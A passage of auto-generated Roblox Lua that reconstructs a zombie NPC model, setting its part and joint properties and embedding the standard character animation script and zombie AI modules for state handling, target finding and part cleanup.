green") Part64.Material = Enum.Material.WoodPlanks Part64.TopSurface = Enum.SurfaceType.Smooth Part64.brickColor = BrickColor.new("Earth green") Part64.FormFactor = Enum.FormFactor.Symmetric Part64.formFactor = Enum.FormFactor.Symmetric Motor6D65.Name = "Root Hip" Motor6D65.Parent = Part64 Motor6D65.MaxVelocity = 0.10000000149012 Motor6D65.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D65.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D65.Part0 = Part64 Motor6D65.Part1 = Part67 Motor6D65.part1 = Part67 BodyForce66.Name = "RepulsionForce" BodyForce66.Parent = Part64 BodyForce66.Force = Vector3.new(0, 0, 0) BodyForce66.force = Vector3.new(0, 0, 0) Part67.Name = "Torso" Part67.Parent = Model63 Part67.CFrame = CFrame.new(161.5, 2.99998856, -95, 0, 0, -1, 7.70369498e-34, 0.99999547, 0, 1, 7.70369498e-34, 0) Part67.Orientation = Vector3.new(0, -90, 0) Part67.Position = Vector3.new(161.5, 2.99998856, -95) Part67.Rotation = Vector3.new(0, -90, 0) Part67.Color = Color3.new(0.156863, 0.498039, 0.278431) Part67.Size = Vector3.new(2, 2, 1) Part67.BottomSurface = Enum.SurfaceType.Smooth Part67.BrickColor = BrickColor.new("Dark green") Part67.Material = Enum.Material.WoodPlanks Part67.TopSurface = Enum.SurfaceType.Smooth Part67.brickColor = BrickColor.new("Dark green") Part67.FormFactor = Enum.FormFactor.Symmetric Part67.formFactor = Enum.FormFactor.Symmetric Motor6D68.Name = "Left Hip" Motor6D68.Parent = Part67 Motor6D68.MaxVelocity = 0.10000000149012 Motor6D68.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D68.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D68.Part0 = Part67 Motor6D68.Part1 = Part73 Motor6D68.part1 = Part73 Motor6D69.Name = "Right Hip" Motor6D69.Parent = Part67 Motor6D69.MaxVelocity = 0.10000000149012 Motor6D69.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D69.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D69.Part0 = Part67 Motor6D69.Part1 = Part74 Motor6D69.part1 = Part74 Motor6D70.Name = "Left Shoulder" Motor6D70.Parent = Part67 Motor6D70.MaxVelocity = 0.10000000149012 Motor6D70.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D70.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D70.Part0 = Part67 Motor6D70.Part1 = Part75 Motor6D70.part1 = Part75 Motor6D71.Name = "Right Shoulder" Motor6D71.Parent = Part67 Motor6D71.MaxVelocity = 0.10000000149012 Motor6D71.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D71.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D71.Part0 = Part67 Motor6D71.Part1 = Part76 Motor6D71.part1 = Part76 Motor6D72.Name = "Neck" Motor6D72.Parent = Part67 Motor6D72.MaxVelocity = 0.10000000149012 Motor6D72.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D72.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D72.Part0 = Part67 Motor6D72.Part1 = Part77 Motor6D72.part1 = Part77 Part73.Name = "Left Leg" Part73.Parent = Model63 Part73.CFrame = CFrame.new(161.5, 0.999997735, -95.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0) Part73.Orientation = Vector3.new(0, -90, 0) Part73.Position = Vector3.new(161.5, 0.999997735, -95.5) Part73.Rotation = Vector3.new(0, -90, 0) Part73.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part73.Size = Vector3.new(1, 2, 1) Part73.BottomSurface = Enum.SurfaceType.Smooth Part73.BrickColor = BrickColor.new("Bright blue") Part73.CanCollide = false Part73.Material = Enum.Material.WoodPlanks Part73.TopSurface = Enum.SurfaceType.Smooth Part73.brickColor = BrickColor.new("Bright blue") Part73.FormFactor = Enum.FormFactor.Symmetric Part73.formFactor = Enum.FormFactor.Symmetric Part74.Name = "Right Leg" Part74.Parent = Model63 Part74.CFrame = CFrame.new(161.5, 0.999997735, -94.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0) Part74.Orientation = Vector3.new(0, -90, 0) Part74.Position = Vector3.new(161.5, 0.999997735, -94.5) Part74.Rotation = Vector3.new(0, -90, 0) Part74.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part74.Size = Vector3.new(1, 2, 1) Part74.BottomSurface = Enum.SurfaceType.Smooth Part74.BrickColor = BrickColor.new("Bright blue") Part74.CanCollide = false Part74.Material = Enum.Material.WoodPlanks Part74.TopSurface = Enum.SurfaceType.Smooth Part74.brickColor = BrickColor.new("Bright blue") Part74.FormFactor = Enum.FormFactor.Symmetric Part74.formFactor = Enum.FormFactor.Symmetric Part75.Name = "Left Arm" Part75.Parent = Model63 Part75.CFrame = CFrame.new(161.5, 2.99998856, -96.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0) Part75.Orientation = Vector3.new(0, -90, 0) Part75.Position = Vector3.new(161.5, 2.99998856, -96.5) Part75.Rotation = Vector3.new(0, -90, 0) Part75.Color = Color3.new(0.992157, 0.917647, 0.552941) Part75.Size = Vector3.new(1, 2, 1) Part75.BottomSurface = Enum.SurfaceType.Smooth Part75.BrickColor = BrickColor.new("Cool yellow") Part75.CanCollide = false Part75.Material = Enum.Material.WoodPlanks Part75.TopSurface = Enum.SurfaceType.Smooth Part75.brickColor = BrickColor.new("Cool yellow") Part75.FormFactor = Enum.FormFactor.Symmetric Part75.formFactor = Enum.FormFactor.Symmetric Part76.Name = "Right Arm" Part76.Parent = Model63 Part76.CFrame = CFrame.new(161.5, 2.99998856, -93.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0) Part76.Orientation = Vector3.new(0, -90, 0) Part76.Position = Vector3.new(161.5, 2.99998856, -93.5) Part76.Rotation = Vector3.new(0, -90, 0) Part76.Color = Color3.new(0.992157, 0.917647, 0.552941) Part76.Size = Vector3.new(1, 2, 1) Part76.BottomSurface = Enum.SurfaceType.Smooth Part76.BrickColor = BrickColor.new("Cool yellow") Part76.CanCollide = false Part76.Material = Enum.Material.WoodPlanks Part76.TopSurface = Enum.SurfaceType.Smooth Part76.brickColor = BrickColor.new("Cool yellow") Part76.FormFactor = Enum.FormFactor.Symmetric Part76.formFactor = Enum.FormFactor.Symmetric Part77.Name = "Head" Part77.Parent = Model63 Part77.CFrame = CFrame.new(161.5, 4.49998188, -95, 0, 0, -1, 7.70369498e-34, 0.99999547, 0, 1, 7.70369498e-34, 0) Part77.Orientation = Vector3.new(0, -90, 0) Part77.Position = Vector3.new(161.5, 4.49998188, -95) Part77.Rotation = Vector3.new(0, -90, 0) Part77.Color = Color3.new(0.992157, 0.917647, 0.552941) Part77.Size = Vector3.new(2, 1, 1) Part77.BottomSurface = Enum.SurfaceType.Smooth Part77.BrickColor = BrickColor.new("Cool yellow") Part77.Material = Enum.Material.WoodPlanks Part77.TopSurface = Enum.SurfaceType.Smooth Part77.brickColor = BrickColor.new("Cool yellow") Part77.FormFactor = Enum.FormFactor.Symmetric Part77.formFactor = Enum.FormFactor.Symmetric Decal78.Name = "Face" Decal78.Parent = Part77 Decal78.Texture = "http://www.roblox.com/asset/?id=7074882" SpecialMesh79.Parent = Part77 SpecialMesh79.Scale = Vector3.new(1.25, 1.25, 1.25) Humanoid80.Parent = Model63 Humanoid80.LeftLeg = Part73 Humanoid80.RightLeg = Part74 Humanoid80.Torso = Part64 Humanoid80.WalkSpeed = 10 Script81.Name = "Animate" Script81.Parent = Model63 table.insert(cors,sandbox(Script81,function() function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local currentAnim = "" local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 }, { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } -- { id = "slash.xml", weight = 10 } }, toollunge = { { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, } -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then -- print("Loading anims " .. name) table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end end -- Setup animation objects function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end -- ANIMATION -- declarations local toolAnim = "None" local toolAnimTime = 0 local jumpAnimTime = 0 local jumpAnimDuration = 0.3 local toolTransitionTime = 0.1 local fallTransitionTime = 0.3 local jumpMaxLimbVelocity = 0.75 -- functions function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopAllAnimations() local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end -- Preload animations function playAnimation(animName, transitionTime, humanoid) local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil) if (animName ~= currentAnim and not idleFromEmote) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- local toolAnimName = "" local toolAnimTrack = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then -- print("Wha " .. pose) amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimTime = 0 end end -- connect events Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) -- main program local runService = game:service("RunService"); -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end end)) StringValue82.Name = "climb" StringValue82.Parent = Script81 Animation83.Name = "ClimbAnim" Animation83.Parent = StringValue82 Animation83.AnimationId = "http://www.roblox.com/asset/?id=125750800" StringValue84.Name = "fall" StringValue84.Parent = Script81 Animation85.Name = "FallAnim" Animation85.Parent = StringValue84 Animation85.AnimationId = "http://www.roblox.com/asset/?id=125750759" StringValue86.Name = "idle" StringValue86.Parent = Script81 Animation87.Name = "Animation1" Animation87.Parent = StringValue86 Animation87.AnimationId = "http://www.roblox.com/asset/?id=125750544" NumberValue88.Name = "Weight" NumberValue88.Parent = Animation87 NumberValue88.Value = 9 Animation89.Name = "Animation2" Animation89.Parent = StringValue86 Animation89.AnimationId = "http://www.roblox.com/asset/?id=125750618" NumberValue90.Name = "Weight" NumberValue90.Parent = Animation89 NumberValue90.Value = 1 StringValue91.Name = "jump" StringValue91.Parent = Script81 Animation92.Name = "JumpAnim" Animation92.Parent = StringValue91 Animation92.AnimationId = "http://www.roblox.com/asset/?id=125750702" StringValue93.Name = "run" StringValue93.Parent = Script81 Animation94.Name = "RunAnim" Animation94.Parent = StringValue93 Animation94.AnimationId = "http://www.roblox.com/asset/?id=125749145" StringValue95.Name = "toolnone" StringValue95.Parent = Script81 Animation96.Name = "ToolNoneAnim" Animation96.Parent = StringValue95 Animation96.AnimationId = "http://www.roblox.com/asset/?id=125750867" StringValue97.Name = "walk" StringValue97.Parent = Script81 Animation98.Name = "WalkAnim" Animation98.Parent = StringValue97 Animation98.AnimationId = "http://www.roblox.com/asset/?id=125749145" Script99.Parent = Model63 table.insert(cors,sandbox(Script99,function() local zombie = script.Parent for _, script in pairs(zombie.ModuleScripts:GetChildren()) do if not game.ServerStorage:FindFirstChild(script.Name) then script:Clone().Parent = game.ServerStorage end end local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie) local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService) local function clearParts(parent) for _, part in pairs(parent:GetChildren()) do clearParts(part) end local delay if parent:IsA("Part") then delay = math.random(5,10) else delay = 11 end DestroyService:AddItem(parent, delay) end zombie.Humanoid.Died:connect(function() AI.Stop() math.randomseed(tick()) clearParts(zombie) script.Disabled = true end) local lastMoan = os.time() math.randomseed(os.time()) while true do local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms) animationTrack:Play() -- local now = os.time() -- if now - lastMoan > 5 then -- if math.random() > .3 then -- zombie.Moan:Play() ---- print("playing moan") -- lastMoan = now -- end -- end wait(2) end end)) BillboardGui100.Parent = Model63 BillboardGui100.Size = UDim2.new(0, 100, 0, 30) BillboardGui100.StudsOffset = Vector3.new(0, 5, 0) TextLabel101.Parent = BillboardGui100 TextLabel101.Visible = false TextLabel101.Size = UDim2.new(1, 0, 1, 0) TextLabel101.BackgroundColor = BrickColor.new("Institutional white") TextLabel101.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel101.Font = Enum.Font.SourceSansBold TextLabel101.FontSize = Enum.FontSize.Size24 TextLabel101.Text = "Idle" TextLabel101.TextSize = 24 Configuration102.Name = "ModuleScripts" Configuration102.Parent = Model63 ModuleScript103.Name = "ROBLOX_AIUtilities" ModuleScript103.Parent = Configuration102 table.insert(cors,sandbox(ModuleScript103,function() local utility = {} function utility:WideRayCast(start, target, offset, ignoreList) local parts = {} local ray = Ray.new(start, target - start) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit local ray = Ray.new(start + offsetVector, target - start + offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local ray = Ray.new(start - offsetVector, target - start - offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end return parts end function utility:FindNearestPathPoint(path, point, start, target, ignoreList) local occludePoint = path:CheckOcclusionAsync(point) if occludePoint > 0 then utility:WideRayCast(start) end end local maxForce = 15 function utility:GetRepulsionVector(unitPosition, otherUnitsPositions) local repulsionVector = Vector3.new(0,0,0) local count = 0 for _, other in pairs(otherUnitsPositions) do local fromOther = unitPosition - other --fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce) fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2) repulsionVector = repulsionVector + fromOther end return repulsionVector * maxForce end function utility:GetIdleState(StateMachine) local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() end return IdleState end function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView) local closestTarget = nil local closestDistance = math.huge for _, character in pairs(characters) do local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position local toTargetWedge = toTarget * Vector3.new(1,0,1) local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude) if math.deg(angle) < fieldOfView then local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget) local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList) if part and part.Parent == character then if toTarget.magnitude < closestDistance then closestTarget = character closestDistance = toTarget.magnitude end end end end return closestTarget end local function isSpaceEmpty(position) local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2)) return game.Workspace:IsRegion3Empty(region) end function utility:FindCloseEmptySpace(model) local targetPos = Vector3.new(0,0,0) local count = 0 math.randomseed(os.time()) repeat local xoff = math.random(5,10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) if isSpaceEmpty(targetPos) then return targetPos else targetPos = targetPos + Vector3.new(0,4,0) end if isSpaceEmpty(targetPos) then return targetPos end count = count + 1 until count > 10 return nil end return utility end)) ModuleScript104.Name = "ROBLOX_DestroyService" ModuleScript104.Parent = Configuration102 table.insert(cors,sandbox(ModuleScript104,function() local destroyService = {} local destroyQueue = {} function destroyService:AddItem(theobject, delay) local now = os.time() local destroyObject = {object = theobject, destroyTime = delay + now} for i, storedObject in pairs(destroyQueue) do if destroyQueue[i].destroyTime > destroyObject.destroyTime then table.insert(destroyQueue, i, destroyObject) return true end end table.insert(destroyQueue, destroyObject) return true end local updateThread = coroutine.create(function() while true do local now = os.time() for _, storedObject in pairs(destroyQueue) do if now >= storedObject.destroyTime then table.remove(destroyQueue, 1) if storedObject.object then storedObject.object:Destroy() end elseif now >= storedObject.destroyTime - 1 then if storedObject.object and storedObject.object:IsA("Part") then local trans = storedObject.object.Transparency + 1/30 storedObject.object.Transparency = trans end else break end end wait() end end) coroutine.resume(updateThread) return destroyService end)) ModuleScript105.Name = "ROBLOX_HumanoidList" ModuleScript105.Parent = Configuration102 table.insert(cors,sandbox(ModuleScript105,function() local humanoidList = {} local storage = {} function humanoidList:GetCurrent() return storage end local function findHumanoids(object, list) if object then if object:IsA("Humanoid") then table.insert(list, object) end for _, child in pairs(object:GetChildren()) do local childList = findHumanoids(child, list) end end end local updateThread = coroutine.create(function() while true do storage = {} findHumanoids(game.Workspace, storage) wait(3) end end) coroutine.resume(updateThread) return humanoidList end)) ModuleScript106.Name = "ROBLOX_StateMachine" ModuleScript106.Parent = Configuration102 table.insert(cors,sandbox(ModuleScript106,function() local machine = {} machine.new = function() local StateMachine = {} StateMachine.WaitTime = .2 StateMachine.CurrentState = nil StateMachine.SwitchState = function(newState) if StateMachine.CurrentState then StateMachine.CurrentState.Stop() end StateMachine.CurrentState = newState if newState then newState.Start() end end StateMachine.NewState = function() local state = {} state.Name = "" state.Conditions = {} state.isRunning = false state.Action = function() end state.Run = function() state.isRunning = true while state.isRunning do --check conditions --print("checking conditions") for _, condition in pairs(state.Conditions) do --print("Checking " .. condition.Name) if condition.Evaluate() then --print(condition.Name .. " is true. Switching states") StateMachine.SwitchState(condition.TransitionState) return end end --if no conditions satisfied, perform action state.Action() wait(StateMachine.WaitTime) end end state.Init = function() end state.Start = function() --print("Starting " .. state.Name) state.Init() local thread = coroutine.create(state.Run) coroutine.resume(thread) end state.Stop = function() --print("Stopping " .. state.Name) state.isRunning = false end return state end StateMachine.NewCondition = function() local condition = {} condition.Name = "" condition.Evaluate = function() print("replace me") return false end condition.TransitionState = {} return condition end return StateMachine end return machine end)) ModuleScript107.Name = "ROBLOX_ZombieAI" ModuleScript107.Parent = Configuration102 table.insert(cors,sandbox(ModuleScript107,function() --local PathLib = require(game.ServerStorage.PathfindingLibrary).new() local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList) local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities) local ZombieAI = {} function updateDisplay(display, state) local thread = coroutine.create(function() while true do wait() if state then display.Text = state.Name end end end) coroutine.resume(thread) end ZombieAI.new = function(model) local zombie = {} -- CONFIGURATION VARIABLES -- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration, -- Damage, DamageCooldown local configTable = model.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("AttackRange", 3) loadConfig("FieldOfView", 180) loadConfig("AggroRange", 200) loadConfig("ChanceOfBoredom", .5) loadConfig("BoredomDuration", 10) loadConfig("Damage", 10) loadConfig("DamageCooldown", 1) local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new() local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new() local ZombieTarget = nil local ZombieTargetLastLocation = nil local lastBored = os.time() -- STATE DEFINITIONS -- IdleState: NPC stays still. Refreshes bored timer when started to -- allow for random state change local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() lastBored = os.time() end -- SearchState: NPC wanders randomly increasing chance of spotting -- enemy. Refreshed bored timer when started to allow for random state -- change local SearchState = StateMachine.NewState() SearchState.Name = "Search" local lastmoved = os.time() local searchTarget = nil SearchState.Action = function() -- move to random spot nearby if model then local now = os.time() if now - lastmoved > 2 then lastmoved = now local xoff = math.random(5, 10) if math.random() > .5 